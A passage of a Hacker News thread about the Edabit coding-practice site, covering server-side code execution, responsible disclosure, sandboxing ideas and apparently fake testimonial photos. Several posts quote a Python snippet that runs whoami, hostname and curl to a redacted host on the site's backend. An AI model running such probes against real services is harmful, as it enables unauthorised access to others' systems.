Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Show HN: Edabit – Like Duolingo for Learning to Code

edabit.com

Post reply on HN
Print view View original

61–70 of 134 posts

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#61

Post by simias »

i_am_nomad wrote: post #25
xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

And this also illustrates why Apple forbids any kind of iOS app that lets a user write and execute code.

Apple forbids that because it wants to be able to control and validate applications on their store. If they allowed self-modifying code apps could auto-update and change their features post-install. This is not really related.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#63

Post by dqpb »

procinct wrote: post #17
xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.

I disagree. I see HN as a community of people involved in similar pursuits, and demonstrating issues like this publicly is educational for everyone.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#64

Post by DavideNL »

dqpb wrote: post #63
procinct wrote: post #17

Earlier quoted context omitted.

I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.

I disagree. I see HN as a community of people involved in similar pursuits, and demonstrating issues like this publicly is educational for everyone.

Sure, but you can "demonstrate" the details after it's fixed.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#66

Post by shortcord »

css wrote: post #42

I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.

I’m confused as to how anyone would think this is alright to do.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#67

Post by xtrapolate »

shortcord wrote: post #66
css wrote: post #42

I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.

I’m confused as to how anyone would think this is alright to do.

> "I’m confused as to how anyone would think this is alright to do."

Could be placeholders from development that ended up going live. I wouldn't jump to conclusion.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#68

Post by wild_preference »

xtrapolate wrote: post #31
rjplatte wrote: post #19

Earlier quoted context omitted.

He needs to be running a client-side service, not running whatever someone enters on his machine

> "He needs to be running a client-side service, not running whatever someone enters on his machine" I would say that for the most part, websites such as this don't actually need a real, full-blown %s-lang compiler/VM that actually executes real code on a backend server. It would be enough to tokenize and parse things on the client's side and validate ABNF via JS. This would reduce the costs involved with running suc…

Then you end up with a system where someone can arrive at the right answer via AST that you didn't expect, which was a frustration when I helped students with a service like (IIRC) CodeCademy.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#69

Post by rjplatte »

hathawsh wrote: post #34
rjplatte wrote: post #19

Earlier quoted context omitted.

He needs to be running a client-side service, not running whatever someone enters on his machine

I wonder if WebAssembly could help accomplish that. Still, even Rust has a compile-and-execute web service call accessible from the rust-lang home page. If Rust people (who tend to emphasize security) feel it is possible to secure that web service, then I'm inclined to believe them. It may be difficult though.

Thanks for my next project!

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#70

Post by wild_preference »

gugagore wrote: post #29
i_am_nomad wrote: post #25

Earlier quoted context omitted.

And this also illustrates why Apple forbids any kind of iOS app that lets a user write and execute code.

Maybe I don't see your point, but an iOS app could execute code locally. The only risk is the device owner could compromise the device. There is no [additional] risk of another user doing so.

The browser's Javascript console also only runs code locally, but getting people to copy code into it is a serious attack vector.

Not saying that's Apple's reason, but being limited to local execution doesn't mean it's safe.

Post reply on HN